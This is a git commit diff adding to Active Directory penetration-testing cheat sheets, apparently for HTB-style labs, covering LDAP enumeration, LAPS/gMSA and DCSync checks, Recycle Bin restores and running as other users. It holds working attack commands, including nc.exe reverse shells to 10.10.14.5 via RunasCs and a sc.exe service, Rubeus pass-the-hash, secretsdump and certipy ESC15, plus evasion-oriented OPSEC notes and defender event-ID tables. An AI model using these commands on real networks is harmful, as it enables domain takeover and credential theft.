commit 2fda6dfd17532075bd35bbc430c862979f76931f parent 6183f687666de473c49ba2dbba0fff85f61aa6bf Author: $: DAΞMON <zer0sec.xp@icloud.com> Date: Sat, 26 Sep 2026 01:07:20 +0100 Expand fifteen sheets with lifecycle, detection and tooling detail Mostly depth rather than new pages: the AD Recycle Bin sheet now separates the tombstone and Recycle Bin afterlives, because which one an object is in decides what a restore actually returns; the credential hunting, privilege escalation and service attack sheets gain the commands and OPSEC notes that were missing beside the ones already there. Tool and tag front matter is updated to match, so the sheets stay findable by the tooling they now cover. Test: npm run build — Astro builds and pagefind indexes 1181 pages. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Diffstat:
15 files changed, 1308 insertions(+), 70 deletions(-)
diff --git a/src/content/sheets/active-directory/ad-enumeration-native.md b/src/content/sheets/active-directory/ad-enumeration-native.md @@ -3,10 +3,10 @@ title: "Active Directory Enumeration — Native Tooling" description: "Native Get-AD* and LDAP enumeration: fine-tuning -Filter/-LDAPFilter, finding deleted accounts in the AD Recycle Bin, ADSI when RSAT is missing — without reaching for PowerView." category: active-directory subcategory: "Tooling & Recon" -tags: [active-directory, enumeration, powershell, ldap, recycle-bin, deleted-objects] -tools: ["ActiveDirectory module (Get-AD*)", "ldapsearch", "ADSI / adsisearcher", "dsquery", "setspn", "nltest"] +tags: [active-directory, enumeration, powershell, ldap, recycle-bin, deleted-objects, laps, gmsa, dcsync, delegation, trusts, kerberoasting, opsec] +tools: ["ActiveDirectory module (Get-AD*)", "ldapsearch", "ADSI / adsisearcher", "dsquery", "setspn", "nltest", "netexec/nxc", "Get-Acl (AD PSDrive)"] difficulty: intermediate -updated: "2026-09-20" +updated: "2026-09-25" source: "vault:06PdfCheatSheets/Active Directory/AD-Enumeration-Native" --- @@ -113,6 +113,64 @@ Get-ADObject -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" | 0x80000 | 524288 | Trusted for delegation (unconstrained) | | 0x100000 | 1048576 | Not delegated (sensitive) | | 0x400000 | 4194304 | Does not require Kerberos pre-auth | +| 0x0010 | 16 | Account locked out (transient) | +| 0x0040 | 64 | Password can't change | +| 0x0080 | 128 | Reversible (cleartext) password storage allowed | +| 0x2000 | 8192 | Server trust account (domain controller) | +| 0x40000 | 262144 | Smart-card required for interactive logon | +| 0x200000 | 2097152 | Use DES keys only (weak Kerberos / downgrade) | +| 0x800000 | 8388608 | Password expired | +| 0x1000000 | 16777216 | Trusted to auth for delegation (constrained + protocol transition / S4U2Self) | +| 0x4000000 | 67108864 | Partial secrets account (RODC) | + +> [!tip] AND-rule vs OR-rule for UAC bits +> `…1.2.840.113556.1.4.803:=X` (BIT_AND) matches when `(uac & X) == X` — **every** bit in `X` must be set, so require two flags either by summing them (`32 + 65536 = 65568`) or by AND-ing two clauses. `…1.2.840.113556.1.4.804:=X` (BIT_OR) matches when `(uac & X) != 0` — **any** of the bits. Use `803` for "has all of", `804` for "has any of". + +## High-value `-LDAPFilter` recipes + +Targeted one-liners for the objects worth finding first. Each filters on exactly the attribute it needs — add `-Properties` to *display* it. + +```powershell +# Cleartext creds parked in description / info (Notes) fields +Get-ADUser -LDAPFilter "(|(description=*pass*)(description=*pwd*)(info=*pass*)(info=*pwd*))" ` + -Properties description,info | ft SamAccountName,description,info + +# Privileged AND kerberoastable — an SPN on an adminCount=1 principal +Get-ADUser -LDAPFilter "(&(servicePrincipalName=*)(adminCount=1))" ` + -Properties servicePrincipalName,adminCount,memberOf | ft SamAccountName,servicePrincipalName + +# PASSWD_NOTREQD (blank password may be allowed) — bit 0x20 = 32 +Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=32)" -Properties userAccountControl + +# PASSWD_NOTREQD *and* DONT_EXPIRE_PASSWORD (32 + 65536 = 65568) — two equivalent forms +Get-ADUser -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=32)(userAccountControl:1.2.840.113556.1.4.803:=65536))" +Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=65568)" + +# Reversible encryption enabled (0x80 = 128) — password recoverable from NTDS +Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=128)" + +# Constrained delegation w/ protocol transition (0x1000000 = 16777216) — S4U abuse targets +Get-ADObject -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=16777216)" -Properties msDS-AllowedToDelegateTo + +# Domain controllers by UAC (SERVER_TRUST_ACCOUNT 0x2000 = 8192) +Get-ADObject -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -Properties dNSHostName + +# Computers by OS — patch-level / EOL targeting (operatingSystem + build number) +Get-ADComputer -LDAPFilter "(operatingSystem=*Server*2012*)" -Properties operatingSystem,operatingSystemVersion | + ft Name,operatingSystem,operatingSystemVersion +Get-ADComputer -LDAPFilter "(|(operatingSystem=*2008*)(operatingSystem=*2003*))" -Properties operatingSystem +``` + +| Want | `-LDAPFilter` | +|---|---| +| Creds in description/info | `(\|(description=*pass*)(info=*pass*))` | +| SPN + adminCount=1 | `(&(servicePrincipalName=*)(adminCount=1))` | +| Password not required | `(userAccountControl:1.2.840.113556.1.4.803:=32)` | +| Not-required + never-expires | `(userAccountControl:1.2.840.113556.1.4.803:=65568)` | +| Reversible encryption | `(userAccountControl:1.2.840.113556.1.4.803:=128)` | +| Protocol-transition delegation | `(userAccountControl:1.2.840.113556.1.4.803:=16777216)` | +| Domain controllers | `(userAccountControl:1.2.840.113556.1.4.803:=8192)` | +| OS = Server 2012 | `(operatingSystem=*Server*2012*)` | ## Scope and attributes — pull only what you need @@ -171,6 +229,97 @@ Get-ADComputer -Filter * -Properties PrincipalsAllowedToDelegateToAccount | Where-Object {$_.PrincipalsAllowedToDelegateToAccount} ``` +## LAPS & gMSA — who can read the secret + +LAPS and gMSA passwords are AD attributes; the win is finding the objects **and** confirming *you* can read them. The confidential attributes (`ms-Mcs-AdmPwd`, `msLAPS-Password`, `msDS-ManagedPassword`) are only returned to principals with the read right, so a presence filter on them doubles as an access check. + +### LAPS readers + +```powershell +# LAPS-managed computers (the expiry attr is world-readable) — v1 and v2 +Get-ADComputer -LDAPFilter "(ms-Mcs-AdmPwdExpirationTime=*)" -Properties ms-Mcs-AdmPwdExpirationTime # LAPS v1 +Get-ADComputer -LDAPFilter "(msLAPS-PasswordExpirationTime=*)" -Properties msLAPS-PasswordExpirationTime # LAPS v2 + +# Computers whose ms-Mcs-AdmPwd you can actually READ (confidential attr only returns to authorised readers) +Get-ADComputer -LDAPFilter "(ms-Mcs-AdmPwd=*)" -Properties ms-Mcs-AdmPwd | ft Name,ms-Mcs-AdmPwd + +# Who is delegated LAPS read on an OU +Find-AdmPwdExtendedRights -Identity "OU=Servers,DC=htb,DC=local" # LAPS v1 (AdmPwd.PS module) +Find-LapsADExtendedRights -Identity "OU=Servers,DC=htb,DC=local" # LAPS v2 (Windows LAPS module) +``` + +### gMSA readers + +```powershell +# All gMSAs by class, with the password-refresh interval +Get-ADObject -LDAPFilter "(objectClass=msDS-GroupManagedServiceAccount)" ` + -Properties sAMAccountName,msDS-ManagedPasswordInterval | ft sAMAccountName,msDS-ManagedPasswordInterval + +# Who may retrieve each gMSA password (msDS-GroupMSAMembership, surfaced friendly) +Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword | + Select Name,PrincipalsAllowedToRetrieveManagedPassword +``` + +```bash +# From Linux — same objects +ldapsearch -x -H ldap://$DC -D 'HTB\alfred' -w 'Pass' -b 'DC=htb,DC=local' \ + "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName msDS-GroupMSAMembership +``` + +> [!info] Extract, don't just find +> Enumeration stops at *who can read it*. To pull the actual secret see [Attack #72 — LAPS Password Extraction](/sheets/active-directory/attack-72-laps-password-extraction) and [Attack #73 — gMSA Password Extraction](/sheets/active-directory/attack-73-gmsa-password-extraction). + +## DCSync rights — read the domain-head ACL + +DCSync needs two extended rights on the **domain object** itself: `DS-Replication-Get-Changes` (`1131f6aa-…`) and `DS-Replication-Get-Changes-All` (`1131f6ad-…`). Read the domain head's ACL and list every principal that holds them — anyone beyond DCs / Domain Admins / Enterprise Admins is a finding. + +```powershell +$dcsync = '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' +$dn = (Get-ADDomain).DistinguishedName +(Get-Acl "AD:\$dn").Access | + Where-Object { $dcsync -contains $_.ObjectType.ToString() } | + Select-Object IdentityReference,ActiveDirectoryRights,ObjectType,AccessControlType +``` + +An entry with `ObjectType = 00000000-0000-0000-0000-000000000000` and `ActiveDirectoryRights` including `GenericAll` / `WriteDacl` / `ExtendedRight` grants DCSync implicitly (all extended rights). A third right, `DS-Replication-Get-Changes-In-Filtered-Set` (`89e95b76-444d-4c62-991a-0facbeda640c`), covers RODC-filtered attributes. + +> [!info] Turn the finding into the attack +> A non-default principal holding both replication rights can replicate secrets. Execute it from [Attack #37 — DCSync](/sheets/active-directory/attack-37-dcsync-attack) — `impacket-secretsdump -just-dc <domain>/<user>@<dc>` or `nxc smb <dc> -u u -p p --ntds`. + +## Trusts — direction & SID filtering + +`Get-ADTrust` resolves the trust's direction and type and — critical for cross-domain escalation — whether **SID filtering** is enforced. + +```powershell +Get-ADTrust -Filter * -Properties * | + Select Name,Direction,TrustType,IntraForest,ForestTransitive,SIDFilteringQuarantined,SIDFilteringForestAware,SelectiveAuthentication,TrustAttributes | fl +``` + +| Property | Reading it | +|---|---| +| `Direction` | `Inbound` (they trust us), `Outbound` (we trust them), `BiDirectional` | +| `IntraForest` | `True` = parent/child inside one forest (SID filtering off by default → SID-history viable) | +| `ForestTransitive` | `True` = trust to a separate forest | +| `SIDFilteringQuarantined` | `True` = SID filtering ON, injected SID-history dropped; `False` = injection viable | +| `SIDFilteringForestAware` | forest-boundary SID-filtering state (nuanced — read alongside `TrustAttributes`) | +| `SelectiveAuthentication` | `True` = principals need an explicit *Allowed-to-authenticate* per resource | + +Raw and module-free — the `trustedDomain` object carries the numeric bitmask: + +```powershell +Get-ADObject -LDAPFilter "(objectClass=trustedDomain)" ` + -Properties trustPartner,trustDirection,trustType,trustAttributes,securityIdentifier +``` + +```bash +nltest /domain_trusts /all_trusts /v # direction + type from any domain-joined host +``` + +`trustDirection`: `1` inbound, `2` outbound, `3` bidirectional. `trustAttributes` bits: `0x1` non-transitive, `0x4` quarantined (SID filtering **on**), `0x8` forest-transitive, `0x20` within-forest, `0x40` treat-as-external. + +> [!info] Where an unfiltered trust goes +> Intra-forest (parent/child) trusts don't SID-filter by default, so a child-domain compromise reaches the forest root via SID-history. See [Attack #68 — Cross-Domain Trust Abuse (SID History)](/sheets/active-directory/attack-68-cross-domain-trust-abuse-sid-history) and [Attack #69 — Forest Trust Abuse](/sheets/active-directory/attack-69-forest-trust-abuse-cross-forest-ticket-forging). + ## No RSAT? ADSI / LDAP without the module `[adsisearcher]` and `System.DirectoryServices` ship on stock Windows — no module, no dropped binary. @@ -208,6 +357,25 @@ ldapsearch -x -H ldap://$DC -D 'HTB\alfred' -w 'Pass' -b 'DC=htb,DC=local' \ > [!info] Collectors > `nxc ldap $DC -u u -p p --query "<ldapfilter>" "<attrs>"` runs the same filters at scale; BloodHound / RustHound-CE ingest the whole graph when you want relationships rather than a targeted lookup. +## Quiet queries — LDAP volume & signing (OPSEC) + +Native LDAP recon is low-signal, not no-signal. Keep it that way. + +- **Don't pull the directory.** `-Filter *` / `(objectClass=*)` over a `Subtree` scope walks every object and every default attribute — big, slow, loud. Scope with `-SearchBase`, predicate with a real filter, and list only the attributes you need. Reserve `-Properties *` for a single already-identified object. +- **Watch paging.** DCs cap responses at the `MaxPageSize` policy (default **1000**). `Get-AD*` pages automatically; cap the pull with `-ResultSetSize` and tune the page with `-ResultPageSize`. `ldapsearch` needs `-E pr=1000/noprompt`; without it a large search trips the size limit at 1000. +- **Bind securely / expect signing.** Hardened DCs enforce **LDAP signing** and **channel binding** and refuse simple binds. `Get-AD*` and `[adsisearcher]` negotiate sign-and-seal already. `ldapsearch` simple bind on `389` sends the password in cleartext — use `-Z` (StartTLS) or `ldaps://…:636`. `nxc ldap` supports `-k` and LDAPS for the same reason. +- **Prefer one DC you already talk to.** Spraying queries across every DC multiplies the trail; pin `-Server <dc>` to the one you hold a session with. + +```powershell +Get-ADUser -LDAPFilter "(servicePrincipalName=*)" -ResultPageSize 200 -ResultSetSize 500 ` + -SearchBase "OU=Servers,DC=htb,DC=local" -Properties servicePrincipalName -Server dc01.htb.local +``` + +> [!warning] What lights up +> - **4662** (object access) fires when a **SACL** audits an attribute — reading confidential `ms-Mcs-AdmPwd` / `msDS-ManagedPassword` is the classic trigger. +> - **1644** logs expensive/inefficient LDAP searches — only when *15 Field Engineering* diagnostics are raised, but a `(objectClass=*)` subtree dump is exactly what it flags. +> - **2889** logs clients doing unsigned/cleartext simple binds when LDAP-interface-events diagnostics are on — your `ldapsearch -x` on `389` shows up here. + ## Native vs PowerView — quick map | Task | Native | PowerView | @@ -221,6 +389,11 @@ ldapsearch -x -H ldap://$DC -D 'HTB\alfred' -w 'Pass' -b 'DC=htb,DC=local' \ | Delegation | `msDS-AllowedToDelegateTo` / `TrustedForDelegation` | `Get-DomainComputer -Unconstrained` | | Object ACLs | `Get-Acl "AD:\<DN>"` | `Get-DomainObjectAcl` *(easier)* | | GPO to OU mapping | `Get-GPO` / `Get-GPInheritance` (GroupPolicy module) | `Get-DomainGPO` / `Get-DomainOU` | +| LAPS read | `(ms-Mcs-AdmPwd=*)` / `Get-LapsADPassword` | `Get-DomainComputer -Properties ms-Mcs-AdmPwd` | +| gMSA read | `Get-ADServiceAccount -Properties PrincipalsAllowedToRetrieveManagedPassword` | `Get-DomainObject -LDAPFilter "(objectClass=msDS-GroupManagedServiceAccount)"` | +| DCSync rights | `Get-Acl "AD:\<domainDN>"` (replication GUIDs) | `Get-DomainObjectAcl -SearchBase <domainDN> -ResolveGUIDs` | +| Password not required | UAC bit `32` filter | `Get-DomainUser -UACFilter PASSWD_NOTREQD` | +| Computers by OS | `(operatingSystem=*2012*)` | `Get-DomainComputer -OperatingSystem "*2012*"` | > [!tip] The habit to build > Ask "what object and which attribute do I actually want?", write the `-LDAPFilter` for it, add `-Properties` for the attributes, and `-SearchBase` to scope it. That single targeted query — native, signed, already present — is almost always the answer, **deleted objects included**. diff --git a/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md b/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md @@ -3,10 +3,10 @@ title: "AD Recycle Bin Enumeration & Deleted-Object Recovery" description: "Find and restore deleted AD accounts from the Recycle Bin four ways — native Get-ADObject, PowerView's tombstone searcher, bloodyAD and ldapsearch — tell duplicate tombstones apart by SID, and turn a restored object's hidden rights (group membership, ADCS enrolment) into escalation." category: active-directory subcategory: "Tooling & Recon" -tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, bloodyad, powerview, certipy] -tools: ["Get-ADObject / Restore-ADObject", "PowerView (Get-DomainSearcher)", "bloodyAD", "ldapsearch", "Certipy"] +tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, bloodyad, powerview, certipy, reanimation, detection, opsec, netexec, ldap3] +tools: ["Get-ADObject / Restore-ADObject", "PowerView (Get-DomainSearcher)", "bloodyAD", "ldapsearch", "Certipy", "ldap3 (python)", "netexec/nxc"] difficulty: intermediate -updated: "2026-09-20" +updated: "2026-09-25" source: "vault:05CPTS-Preperation/TombWatcher" --- @@ -34,6 +34,59 @@ Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table If `EnabledScopes` is populated, deleted objects restore with **all** attributes and links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate, which is enough to find and (often) restore them. +## Lifecycle — tombstone vs Recycle Bin (what survives, how long) + +Deletion has **two very different afterlives**, and which one you're in decides what a restore actually gives back. + +```text +Recycle Bin ENABLED: + live ──delete──▶ DELETED object ──▶ RECYCLED object ──▶ GC-purged + isDeleted=TRUE isRecycled=TRUE + ALL attrs + links kept stripped to preserved set + fully restorable NOT restorable + for msDS-deletedObjectLifetime then tombstoneLifetime + +Recycle Bin DISABLED: + live ──delete──▶ TOMBSTONE ──▶ GC-purged + isDeleted=TRUE + stripped to preserved set + reanimatable (empty shell) + for tombstoneLifetime +``` + +Both lifetimes live on the Directory Service object and default to **180 days**: + +```powershell +# unset msDS-deletedObjectLifetime falls back to tombstoneLifetime +$cfg = (Get-ADRootDSE).configurationNamingContext +Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,$cfg" ` + -Properties tombstoneLifetime,msDS-deletedObjectLifetime | + Format-List tombstoneLifetime,msDS-deletedObjectLifetime +``` + +```bash +ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -s base \ + -b 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \ + '(objectClass=*)' tombstoneLifetime msDS-deletedObjectLifetime +``` + +| Attribute / link | Tombstone (bin OFF) | Deleted object (bin ON) | +|---|---|---| +| `objectSid`, `objectGUID` | kept | kept | +| `sAMAccountName` | kept | kept | +| `userAccountControl` | **stripped** (reanimates disabled) | kept | +| `lastKnownParent`, `msDS-LastKnownRDN` | kept | kept | +| `sIDHistory` | kept | kept | +| `nTSecurityDescriptor` | kept | kept | +| **group membership** (`memberOf` / link-values) | **stripped** | **kept** | +| password (`unicodePwd`), most other attrs | **stripped** | **kept** | + +> [!info] Lifetimes default to the tombstone value +> If `msDS-deletedObjectLifetime` is never set it inherits `tombstoneLifetime`; if that is also null the forest default applies (**180 days** on any forest built on Server 2003 SP1+, 60 on ancient ones). A deleted object only stays *fully* restorable for `msDS-deletedObjectLifetime` — after that it is **recycled** (stripped) and a restore returns an empty shell, exactly like the bin-OFF tombstone case. + +> [!warning] Two controls: Show Deleted (417) vs Show Recycled (2064) +> `1.2.840.113556.1.4.417` (Show Deleted) returns objects still in the recoverable *deleted* state — the ones you want. `1.2.840.113556.1.4.2064` (Show Recycled) is a superset that ALSO returns fully *recycled* (stripped, unrestorable) objects. Either surfaces `isDeleted=TRUE`; use 2064 when you also want to see what has aged past `deletedObjectLifetime`. Of the §2 methods, only the **bloodyAD** (§2C) and **ldapsearch** (§2D) examples attach 2064; the ldap3 snippet (§2E) and the native `Get-ADObject -IncludeDeletedObjects` / PowerView `.Tombstone` paths use Show Deleted (417) under the hood, so they return recoverable deleted objects but not fully-recycled ones. + ## 2 · Enumerate the Recycle Bin — four ways Pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3). @@ -68,7 +121,7 @@ $ds.FindAll() | ForEach-Object { $_.Properties } ### C · Linux — bloodyAD (no upload, no shell) -`1.2.840.113556.1.4.2064` is the LDAP *Show Deleted Objects* control: +`1.2.840.113556.1.4.2064` is the LDAP *Show Recycled* control (the superset — it also returns fully-recycled objects; the plain Show Deleted control is `417`): ```bash bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \ @@ -87,6 +140,26 @@ ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \ '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN ``` +### E · Portable primitive — the Show Deleted control from any language + +Every method above is just attaching one LDAP control to a search. From Python it works anywhere — no RSAT, no binary to drop: + +```python +from ldap3 import Server, Connection, SUBTREE +from ldap3.protocol.microsoft import show_deleted_control # OID 1.2.840.113556.1.4.417 + +c = Connection(Server("ldap://10.10.10.10"), + user="corp\\lowpriv", password="Password123!", auto_bind=True) +c.search("DC=corp,DC=local", "(isDeleted=TRUE)", search_scope=SUBTREE, + attributes=["msDS-LastKnownRDN", "objectSid", "lastKnownParent"], + controls=[show_deleted_control(criticality=True)]) +for e in c.entries: + print(e["objectSid"], e["msDS-LastKnownRDN"], e["lastKnownParent"]) +``` + +> [!warning] netexec/nxc won't see the bin by default +> `nxc ldap $DC -u "$U" -p "$P" --query '(isDeleted=TRUE)' 'objectSid lastKnownParent'` runs an ordinary search **without** the Show Deleted control, so it comes back empty and looks like nothing was deleted — the same trap as PowerView's `Get-DomainObject`. For deleted objects use bloodyAD / ldapsearch / the ldap3 snippet above, which attach the control. nxc's place here is confirming reachability and authenticating **as** the account once it is restored (`nxc smb $DC -u <restored> -p '<pw>'`). + ## 3 · Tell duplicate copies apart A name that was deleted more than once leaves **several tombstones with the same `msDS-LastKnownRDN`, differing only by RID** in `objectSid`. Only one may carry the right you want, so do not restore blindly: @@ -120,17 +193,46 @@ Get-ADUser -Identity <restored> | Select-Object SamAccountName,Enabled,Distingui If you control the restored object (e.g. `GenericAll` over its OU covers restored children too), take it over — reset the password or add shadow credentials: ```bash -certipy-ad shadow auto -target "$DC" -u "$U" -p "$P" -account <restored> +certipy-ad shadow auto -target "$DC" -u "$U@$DOMAIN" -p "$P" -account <restored> # or: bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>' ``` +### What `set restore` actually does (reanimation under the hood) + +Reanimation is **one LDAP modify** — there is no dedicated "restore" verb in LDAP. bloodyAD `set restore` (and `Restore-ADObject`) read the deleted object's `lastKnownParent` + `msDS-LastKnownRDN`, rebuild the original DN, then send the modify below, carrying the Show Deleted control so the DC lets them touch a deleted object: + +```ldif +dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local +changetype: modify +delete: isDeleted +- +replace: distinguishedName +distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local +``` + +```bash +# the same thing by hand (control 417 marked critical). The DEL:GUID mangling in the +# DN is literal; grab the exact deleted DN from your §2 enumeration and paste it in. +ldapmodify -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -e '!1.2.840.113556.1.4.417' <<'LDIF' +dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local +changetype: modify +delete: isDeleted +- +replace: distinguishedName +distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local +LDIF +``` + +> [!info] A reanimated tombstone comes back as a disabled, empty shell +> Clearing `isDeleted` and setting the new DN is *all* reanimation does — it does not rebuild stripped attributes. From a bin-OFF tombstone the account returns **disabled, with no password and no group membership**, so you must enable it, reset the password and re-add groups (each separately logged). A bin-ON *deleted* object restores with password, SPNs and memberships intact and in its prior enabled/disabled state — that gap is the whole reason §1's feature check matters. + ## 5 · Turn the restored object into escalation A restored account brings back **rights the live tree was hiding** — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored **ADCS enrollee** on a vulnerable template: ```bash # enumerate templates as the restored principal -certipy-ad find -target "$DC" -u <restored> -p '<pw>' -vulnerable -stdout +certipy-ad find -target "$DC" -u <restored>@$DOMAIN -p '<pw>' -vulnerable -stdout # e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject: certipy-ad req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \ -ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \ @@ -141,12 +243,31 @@ certipy-ad auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a `servicePrincipalName` (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks. +## Blue-team detection & OPSEC + +Enumeration and restore look completely different to a defender: one is a read, the other rewrites the directory and replicates. + +| Event ID | Log / subcategory | Fires when | +|---|---|---| +| **4662** | Security — needs a SACL on `CN=Deleted Objects` (**not** default) | someone **reads / enumerates** the Deleted Objects container | +| **5138** | Directory Service Changes | object **undeleted** — the precise reanimation event | +| **5139** | Directory Service Changes | object **moved** (the DN change part of the restore) | +| **5136** | Directory Service Changes | object **modified** (`isDeleted` cleared, later attribute writes) | +| **5137** | Directory Service Changes | object **created** (a fresh create, not a reanimation) | +| **4722 / 4738** | Security | restored **user** enabled / changed afterward | +| **4741 / 4742** | Security | restored **computer** account created / changed afterward | +| **4728 / 4732 / 4756** | Security | restored principal re-added to a privileged group | + +> [!warning] OPSEC — enumerate freely, restore deliberately +> **Enumeration is quiet.** A Show-Deleted search is an ordinary LDAP read; 4662 only fires if someone placed a SACL on the Deleted Objects container, which is rare, so listing the bin usually leaves nothing behind. **Restore is loud and stateful.** It writes to the directory (5138 undelete / 5139 move / 5136 modify wherever Directory Service Changes auditing is on), replicates to every DC, and — the part no tooling can hide — makes a "dead" account visibly **reappear**, so any admin or SIEM watching account lifecycle sees a resurrection. Pick the exact SID from §3 first, restore once, use it fast, and expect it to be noticed. + ## Takeaways > [!tip] Recycle-Bin habit > - **Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.** -> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (native) or the tombstone control `1.2.840.113556.1.4.2064` (bloodyAD/ldapsearch). With PowerView you must use `Get-DomainSearcher` + `.Tombstone = $true` — `Get-DomainObject` **won't** show deleted objects. +> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (native) or the Show Recycled control `1.2.840.113556.1.4.2064` (bloodyAD/ldapsearch). With PowerView you must use `Get-DomainSearcher` + `.Tombstone = $true` — `Get-DomainObject` **won't** show deleted objects. > - When duplicates exist, **match `objectSid` to the edge's SID** before restoring. > - `GenericAll` over an OU covers **restored** objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast). +> - **Enumeration is a quiet read; restore is a logged write** — reanimation fires Event **5138** (undelete) + 5139/5136 and resurrects a visible account, so restore only the one SID you need. Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native). diff --git a/src/content/sheets/active-directory/run-as-another-user-from-evil-winrm.md b/src/content/sheets/active-directory/run-as-another-user-from-evil-winrm.md @@ -3,10 +3,10 @@ title: "Run as Another User from an Evil-WinRM Session" description: "You're local admin over WinRM but need to act as a different domain user — spawn processes, tasks, or loopback PowerShell sessions with alternate credentials." category: active-directory subcategory: "Lateral Movement" -tags: ["active-directory", "lateral-movement", "evil-winrm", "runas"] -tools: ["Evil-WinRM", "PowerShell"] +tags: ["active-directory", "lateral-movement", "evil-winrm", "runas", "runascs", "kerberos", "pass-the-hash"] +tools: ["Evil-WinRM", "PowerShell", "RunasCs", "Rubeus", "Impacket", "sc.exe"] difficulty: intermediate -updated: "2026-08-29" +updated: "2026-09-25" --- # 👤 Run as Another User from an Evil-WinRM Session @@ -90,6 +90,46 @@ Start-Process -FilePath "C:\Temp\nc.exe" ` # The shell that lands runs as CORP\lowpriv ``` +### 🔴 Method 5 — RunasCs.exe (captures output, no console needed) + +`RunasCs` is a standalone binary built for exactly this problem: unlike native `runas`, it needs no interactive desktop and it **hands the child process's stdout back to you**, so it fits a WinRM session cleanly. Upload the exe, then run a command as the target user. + +```powershell +# Output comes straight back — no file redirect +.\RunasCs.exe lowpriv 'P@ssword123!' "whoami /all" --domain CORP + +# Reverse shell as that user (logon type 8 = NetworkCleartext keeps the creds usable on the network) +.\RunasCs.exe lowpriv 'P@ssword123!' -d CORP "C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" --logon-type 8 +``` + +| Flag | Purpose | +|---|---| +| `-d, --domain` | Target user's domain (omit for a local account) | +| `-l, --logon-type` | 2 interactive · 3 network · 8 network-cleartext · 9 NewCredentials (`runas /netonly` equivalent) | +| `--bypass-uac` | Return a high-integrity token when the target user is a local admin | +| `-r, --remote-impersonation` | Reuse an existing logon session's token instead of a new logon | + +### 🔴 Method 6 — WMI / service run as the target + +```powershell +$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass) + +# WMI: the CIM session authenticates AS lowpriv, so the created process runs in that context +Invoke-CimMethod -ClassName Win32_Process -MethodName Create ` + -Arguments @{ CommandLine = 'cmd /c whoami > C:\Temp\out.txt' } ` + -CimSession (New-CimSession -ComputerName localhost -Credential $cred) +Start-Sleep 2; type C:\Temp\out.txt +``` + +```cmd +:: A service's binPath runs under the account you set (needs local admin / SeCreateService). +:: obj= is the run-as account, password= its password. +sc.exe create svcx binPath= "cmd /c C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" obj= "CORP\lowpriv" password= "P@ssword123!" start= demand +sc.exe start svcx +:: cleanup after the shell lands: sc.exe delete svcx +``` + ### 🔴 Only have a hash or ticket? Skip the session entirely ```bash @@ -99,6 +139,14 @@ impacket-wmiexec 'CORP/lowpriv@10.10.10.10' -hashes :2b576acbe6bcfda7294d6bd1804 klist # or request a TGT with impacket-getTGT and go the Kerberos route ``` +```powershell +# On the box with Rubeus — turn a hash or password into THEIR Kerberos ticket in your session. +# /ptt injects the TGT into the current logon; /createnetonly spawns a sacrificial process to hold it. +Rubeus.exe asktgt /user:lowpriv /rc4:2b576acbe6bcfda7294d6bd18041b8fe /domain:corp.local /ptt +Rubeus.exe asktgt /user:lowpriv /password:'P@ssword123!' /domain:corp.local /createnetonly:C:\Windows\System32\cmd.exe /show /ptt +klist # confirm lowpriv's TGT is now cached — Kerberos-authenticated access follows as that user +``` + ### 🔴 Worked example — ForceChangePassword abuse as another user Scenario: your session user is admin on the box, but `CORP\lowpriv` (whose password you know) is the one holding **ForceChangePassword** over `ssmalls`. Reset `ssmalls`' password in `lowpriv`'s context: @@ -144,10 +192,12 @@ Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { | Event ID | Source | What to Look For | |---|---|---| -| **4624** | Security Log | Logon Type 2/3 by a user who "never logs in" to that host | -| **4688** | Security Log | `cmd.exe`/`powershell.exe` spawned with alternate credentials | +| **4624** | Security Log | Logon Type 2/3/8/9 by a user who 